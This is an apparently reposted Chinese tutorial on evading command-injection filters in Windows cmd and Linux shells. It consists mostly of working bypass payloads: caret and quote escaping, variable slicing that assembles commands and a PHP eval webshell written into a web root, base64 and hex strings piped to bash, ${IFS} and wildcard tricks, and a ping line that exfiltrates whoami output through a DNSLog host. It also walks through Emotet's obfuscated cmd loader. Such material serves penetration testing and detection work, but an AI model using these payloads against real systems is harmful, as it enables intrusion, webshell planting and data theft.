0x01 Windows(不區(qū)分大小寫)
1.1 符號和命令的關(guān)系
如果命令執(zhí)行的時候遇到攔截命令關(guān)鍵詞的時候可以利用如下方法繞過: ?
"和^是CMD命令中最常見的轉(zhuǎn)義字符,還有成對的括號并不會影響命令的執(zhí)行。
這里有幾個需要注意的地方:
在命令中可以有無數(shù)個",但是不能有兩個連續(xù)的^ 在命令中如果"在^之前,則"的個數(shù)必須為偶數(shù)個 在命令中如果"在^之后,并且?guī)в?a target="_blank">參數(shù),則命令中的"個數(shù)必須為偶數(shù) 在命令的參數(shù)中,單個字符前后"的個數(shù)只能有一個或者兩個 如果成對的括號中間有"則"的個數(shù)也必須為偶數(shù)
whoami //正確執(zhí)行 WhOAmi //正確執(zhí)行 Who"amI //正確執(zhí)行 ((Who"amI)) //錯誤 ((Who""amI)) //正確執(zhí)行 Who""""""""amI //正確執(zhí)行 who"""a^mi //錯誤 who""""a^mi //正確執(zhí)行 whoa^m""""i //正確執(zhí)行 whoa^m"""i //正確執(zhí)行 whoa^^mi //錯誤 n^e^t user //正確執(zhí)行 n^e^t"" user //正確執(zhí)行 n^e^t""" user //錯誤 n^e^t"" u"ser //正確執(zhí)行 n^e^t"" u""ser //正確執(zhí)行 n^e^t"" u"""ser //錯誤 n^e^t"" u""s"er //正確執(zhí)行 n^e^t"" u""s""er //正確執(zhí)行 n^e^t"" u""s"""er //錯誤
?
?
1.2 了解set命令和Windows變量
在cmd中set用來進行變量賦值,而%%括起來的變量會引用其賦的值。
這樣就可以進行命令執(zhí)行了
set cmd=whoami //賦值變量為whoami %cmd% //執(zhí)行命令
?
?
也可以賦值多個變量,拼接利用
set cmd1=who set cmd2=am set cmd3=i %cmd1%%cmd2%%cmd3%
set cmd1=who set cmd3=i %cmd1%am%cmd3%
也可以與1.2的內(nèi)容進行合并
set cmd1=wh""o set cmd3=i""" %cmd1%a^m%cmd3%
?
?
也可以在賦值的時候加入空格
set cmd1=s""er set cmd2=t u set cmd3=n^e %cmd3%%cmd2%%cmd1%
?
?
Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%"
當(dāng)使用cmd /V:ON或cmd /V:O時可以不使用call命令來擴展變量,使用 %var% 或 !var! 來擴展變量,!var!可以用來代替%var%
cmd /V:ON /C "set cmd=net user && !cmd!" cmd /V:O /C "set cmd=net user && !cmd!"
1.3 Windows切割字符串 拿whoami舉例,實踐Windows切割字符串的語法
set cmd=whoami %cmd:~0% //取出a的值中的所有字符此時正常執(zhí)行whoami %cmd:~0,1% //取出a的值,從第0個位置開始,取1個值此時因為w總共就1個字符 %cmd:~0,6% //取出a的值,從第0個位置開始,取6個值此時因為whoami總共就6個字符
由此可以看出來截取字符串的語法為%變量名:~x,y%即從變量第x位開始,截取y個字符。
C:Usersa>set str=0123456789 C:Usersa>echo %str:~-1% 9 從最后1位開始取整個字符串 C:Usersa>echo %str:~-6% 456789 從倒數(shù)第6位開始取整個字符串 C:Usersa>echo %str:~-9% 123456789 從倒數(shù)第9位開始取整個字符串 C:Usersa>echo %str:~-9,2% 12 從倒數(shù)第9位開始取2位 C:Usersa>echo %str:~-9,4% 1234 從倒數(shù)第9位開始取4位 C:Usersa>echo %str:~-9,-2% 1234567 從倒數(shù)第9位開始少取最后2位 C:Usersa>echo %str:~-9,-4% 12345 從倒數(shù)第9位開始少取最后4位
既然已經(jīng)熟悉了如何切割字符,那么我們來看一下都有什么環(huán)境變量可以用
我們可以拼命令了
C:Usersa>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi Whoami C:Usersa>%COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi win-tbucg5qo47ja C:Usersa>d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3% 驅(qū)動器 C 中的卷沒有標(biāo)簽。 卷的序列號是 5CE5-9A63 C: 的目錄 2022/03/12 00:20JspStudy 2022/07/09 20:04 MailMasterData 2009/07/14 11:20 PerfLogs
我們還可以湊php一句話(這里為了方便所以自定義了一些字符)
C:Usersa>set web=^<^>/@$_PHPOST[]?'e()val C:Usersa>echo ^%web:~0,1%^%web:~-8,1%%web:~6,3% ^%web:~-6,1%^%web:~-3,3%^%web:~-5,1%%web:~4,2%%web:~8,5%^%web:~-7,1%%web:~-1,1%^%web:~-7,1%%web:~13,1%^%web:~-4,1% ^%web:~-8,1%^%web:~1,1% > C:phpstudy_proWWW.php
因為拼接字符需要得到大量的位置,為了方便拼接可以使用for命令來講所有位置設(shè)成一個列表,以此循環(huán)遍歷列表,合并字符串,還能起到混淆的作用。 這里注意set不能以空格結(jié)尾否則,變量會將空格進行賦值
cmd /V:ON /C " set kpx=vwchdoaadmei&& for %G in (1,3,5,7,9,11,26) do set lq=!lq!!kpx:~%G,1!&& if %G==26 !lq:~4!"
錯誤示范 下面的方法拼接出來的其實是w h o a m i 因為有空格后面的都視作參數(shù)沒有顯示
分析Emotet木馬中的cmd命令
Emotet一款著名的銀行木馬,首次出現(xiàn)于2014年年中。該木馬主要通過垃圾郵件的方式傳播感染目標(biāo)用戶,其不斷變化傳播花樣,采用越來越復(fù)雜的混淆編碼來躲避檢測。 現(xiàn)在我們以Emotet木馬為例,我們來試著分析一下經(jīng)過混淆后的cmd內(nèi)容
先將混淆cmd命令中的轉(zhuǎn)義字符“^”全部去掉,再將除了變量@之外的逗號“,”、分號“;”、多余空格刪除。注意保留變量@中的逗號和分號,否則影響輸出結(jié)果。
下圖為無意義的四個字符串,cmd會自動忽略。
可以看出這里利用了cmd的系統(tǒng)環(huán)境變量%comspec%,即是cmd.exe的執(zhí)行路徑,因此會執(zhí)行cmd命令,這里才是命令的真正開頭。因此程序開頭可以進行化簡。
去除無意義的字符串后可以化簡為
%comspec% /c for /f " delims=vf= tokens=2" %f in ( 'assoc .cmd' ) do %f /V /R
先利用%comspec% /c執(zhí)行第一個for循環(huán),再利用for循環(huán)的/f參數(shù),在命令assoc .cmd結(jié)果.cmd=cmdfile中以字符v、f、=為分隔符,取第二列即是“cmd”。
因此這里用for循環(huán)生成的cmd又開啟了新一個cmd程序來運行下面的字符串內(nèi)的程序。
這里自定義了一個環(huán)境變量@,等于一個1460長度的字符串。然后利用for循環(huán)的/L參數(shù),遍歷變量@:for /L %s in (1459,-4,+3 ) do set =!!!@ :~ %s, 1!& if %s equ 3 call %:~-365%,這個for循環(huán)自定義了環(huán)境變量"",還啟用了延遲的環(huán)境變量擴展!,!@:~%s,1!表示循環(huán)變量%s從1459開始,步長為-4,到3結(jié)束,循環(huán)提取變量@中的字符,添加到變量中。當(dāng)%s到3的時候就會執(zhí)行中倒數(shù)365個字符組成的程序。
1.4 邏輯運算符在繞過中的作用
|?在cmd中,可以連接命令,且只會執(zhí)行后面的命令
whoami | ping -n 1 www.baidu.com //只執(zhí)行ping ping -n 1 www.baidu.com | whoami //只執(zhí)行whoami
?
?
|| 只有在前面命令失敗才執(zhí)行后面
ping 127.0.0.1 || whoami //不執(zhí)行whoami ping xxx. || whoami //執(zhí)行whoami
?
?
&無論前面的命令是否能執(zhí)行成功都會執(zhí)行后面的命令
ping 127.0.0.1 & whoami //執(zhí)行whoami ping xxx. & whoami //執(zhí)行whoami
&&前面命令為真才會執(zhí)行后面的命令。
ping 127.0.0.1 && whoami //執(zhí)行whoami ping xxx. && whoami //不執(zhí)行whoami
0x02 Linux(區(qū)分大小寫)
2.1 linux下的符號和邏輯運算符
linux中變量使用$來引用,;表示命令結(jié)束無論命令是否執(zhí)行成功都會執(zhí)行下一個命令,| || & &&,與Windows一樣,這里就不做贅述。
利用上面的符號可以進行拼接的命令:
t=l;j=s;i=" -al";$t$j$i
2.2 利用未被過濾的命令
假設(shè)有命令執(zhí)行漏洞的網(wǎng)站中過濾的一些命令,但是沒有過濾一些命令,例如ping命令,則可以利用ping命令來執(zhí)行命令帶出信息。
ping `whoami`.whjtmh.dnslog.cn
利用DNSLog就可以獲得帶出的信息(對于不回顯的命令執(zhí)行也可以利用這種方法)
2.3 linux符號之間的組合
類似于Windows的"和^linux也有類似的使用方法,就是利用變量和參數(shù)
利用反斜杠繞過
whoami利用括號括起來(當(dāng)做命令執(zhí)行)
(whoa''mi)利用反引號或$和括號結(jié)合(將括號內(nèi)命令的結(jié)果當(dāng)做命令執(zhí)行)
`(echo whoami)` $(echo whoami)利用Shell特殊變量繞過
who$*ami who$@ami who$1ami利用通配符匹配唯一命令名稱執(zhí)行命令(使用命令的絕對路徑)
/u?r/b?n/who?mi /*/*/whoam? /*/*i[n]/wh??mi綜合組合
/*/*""in/w'h'`dfds`??m$(sdf)i
2.4 linux切割字符串(linux區(qū)分大小寫)
在linux中切割字符串的語法是${NAMElength} 與Windows相同這里不在贅述,只要區(qū)分大小寫就可以 ?
2.5 繞過空格過濾
在前端頁面中可以利用%00,%0a,%0d等url編碼來繞過空格的過濾,
利用大括號來繞過空格限制
{ls,-al} {ping,-c,2,127.0.0.1}
?
?
${IFS}繞過空格
IFS是internal field separator的縮寫,shell的特殊環(huán)境變量。shell根據(jù)IFS存儲的值,可以是空格(040)、tab(011)、換行符(012)或者其他自定義符號,來解析輸入和輸出的變量值。這里echo -n是不進行自動換行
?
2.6 利用base64繞過命令限制
echo whoami|base64 //先輸出whoami的base64編碼 `echo dwhvYW1pCg==|base64 -d` //將其base64解碼
?
?
2.7 hex編碼繞過
# cat flag.php -> 63617420666c61672e706870 echo "63617420666c61672e706870"|xxd -r -p|bash #xxd: 二進制顯示和處理文件工具,cat: 以文本方式ASCII顯示文件 #-r參數(shù):逆向轉(zhuǎn)換。將16進制字符串表示轉(zhuǎn)為實際的數(shù) #-ps參數(shù):以 postscript的連續(xù)16進制轉(zhuǎn)儲輸出,也叫做純16進制轉(zhuǎn)儲。 #-r -p將純十六進制轉(zhuǎn)儲的反向輸出打印為了ASCII格式。 cat flag.php -> x63x61x74x20x66x6cx61x67x2ex70x68x70 #經(jīng)測試,發(fā)現(xiàn)在php的ping環(huán)境上執(zhí)行失敗。在linux系統(tǒng)上執(zhí)行成功 $(printf "x63x61x74x20x66x6cx61x67x2ex70x68x70") {printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}|bash `{printf,"x63x61x74x20x66x6cx61x67x2ex70x68x70"}`
2.8 長度限制繞過
方法一:
可以利用base64解碼的方式將腳本寫入多個文件合并后再執(zhí)行
echo "cat flag.txt" | base64 # 首先生成所需命令的base64字符串 # Y2F0IGZsYWcudHh0Cg== echo -n Y2F0IG > a echo -n ZsYWcu >b echo -n dHh0Cg== > c 下面合并文件 cat b >> a cat c >> a 解碼文件 base64 -d a > shell.sh sh shell.sh
?
?
?
方法二:
首先通過命令創(chuàng)建帶有命令分隔的文件 > "txt" > "ag." > "fl" > "t " > "ca" 在用ls -t輸出到一個文件中,再利用sh執(zhí)行 ls -t > shell2.sh #如果創(chuàng)建空文件時,創(chuàng)建了點.開頭的文件,上邊命令要添加-a選項將隱藏文件也寫入qwzf,即 ls -at > shell2.sh sh shell2.sh
?
參考:
https://www.anquanke.com/post/id/208398 https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html https://blog.csdn.net/whuslei/article/details/7187639
編輯:黃飛
?
評論
查看更多